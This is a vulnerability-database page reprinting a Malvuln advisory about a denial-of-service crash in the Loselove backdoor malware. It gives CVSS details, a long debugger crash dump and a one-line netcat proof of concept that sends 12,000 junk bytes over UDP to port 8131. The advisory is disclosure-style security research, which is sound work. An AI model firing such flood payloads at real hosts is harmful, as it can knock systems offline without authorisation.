Exploitalert - Database of Exploits

Backdoor.Win32.Loselove / Denial of Service

CVE	Category	Price	Severity
N/A	CWE-119	N/A	High

Author	Risk	Exploitation Type	Date
N/A	High	Remote	2022-04-22

CPE
cpe:cpe:/a:microsoft:windows

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	None	C	There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2022040083

Backdoor.Win32.Loselove / Denial of Service

Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/9a8150938bff3a17fa0169c3dc6dae85.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.Loselove Vulnerability: Denial of Service Description: The malware listens on UDP ports 9329, 8329, 8322, 8131 and 8130. Attackers can send a large junk payload to UDP port 8131 causing it to crash. Family: Loselove Type: PE32 MD5: 9a8150938bff3a17fa0169c3dc6dae85 Vuln ID: MVID-2022-0554 Disclosure: 04/18/2022 Memory Dump: (fe4.10a0): Access violation - code c0000005 (first/second chance not available) eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8 edi=00000000 eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 ntdll!RtlAcquireSRWLockShared+0xb: 776e9fab 56 push esi 0:000> .ecxr eax=000a1080 ebx=000a1050 ecx=00494e3c edx=000a1080 esi=000a11a8 edi=00000000 eip=776e9fab esp=000a0fd8 ebp=000a1014 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 ntdll!RtlAcquireSRWLockShared+0xb: 776e9fab 56 push esi 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85 *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85 FAULTING_IP: KERNELBASE!RaiseException+62 74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h] EXCEPTION_RECORD: 0019f790 -- (.exr 0x19f790) ExceptionAddress: 74a108f2 (KERNELBASE!RaiseException+0x00000062) ExceptionCode: 0eedfade ExceptionFlags: 00000003 NumberParameters: 7 Parameter[0]: 00411c67 Parameter[1]: 041ac750 Parameter[2]: ffffffff Parameter[3]: 0040e744 Parameter[4]: 041bfc04 Parameter[5]: 0019fd10 Parameter[6]: 0019fcd0 PROCESS_NAME: Backdoor.Win32.Loselove.9a8150938bff3a17fa0169c3dc6dae85 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 000a0fd4 WRITE_ADDRESS: 000a0fd4 FOLLOWUP_IP: KERNELBASE!RaiseException+0 74a10890 8bff mov edi,edi MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 CONTEXT: 0019f7e0 -- (.cxr 0x19f7e0) eax=0019fc40 ebx=ffffffff ecx=00000007 edx=00000000 esi=0040e744 edi=041bfc04 eip=74a108f2 esp=0019fc40 ebp=0019fc9c iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212 KERNELBASE!RaiseException+0x62: 74a108f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fc94=ae6d973b Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 0046361e to 74a108f2 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff STACK_TEXT: 0019fc40 74a108f2 kernelbase!RaiseException+0x62 0019fd18 0046361e backdoor_win32_loselove+0x6361e 0019fd70 0046353d backdoor_win32_loselove+0x6353d 0019fd8c 7720e0bb user32!_InternalCallWinProc+0x2b 0019fdb8 77218849 user32!InternalCallWinProc+0x20 0019fddc 7721b145 user32!UserCallWinProcCheckWow+0x1be 0019feac 772090dc user32!DispatchMessageWorker+0x4ac 0019ff18 772038c0 user32!DispatchMessageA+0x10 0019ff20 0044d058 backdoor_win32_loselove+0x4d058 0019ff74 00498514 backdoor_win32_loselove+0x98514 0019ff88 77408654 kernel32!BaseThreadInitThunk+0x24 0019ff9c 77704a77 ntdll!__RtlUserThreadStart+0x2f 0019ffe4 77704a47 ntdll!_RtlUserThreadStart+0x1b SYMBOL_NAME: kernelbase!RaiseException+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: KERNELBASE IMAGE_NAME: KERNELBASE.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: .cxr 000000000019F7E0 ; kb ; dds 19fc40 ; kb FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_FILL_PATTERN_ffffffff_c0000005_KERNELBASE.dll!RaiseException BUCKET_ID: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff_kernelbase!RaiseException+0 Exploit/PoC: python -c "print('A'*12000)" | nc64.exe x.x.x.x 8131 -c -u Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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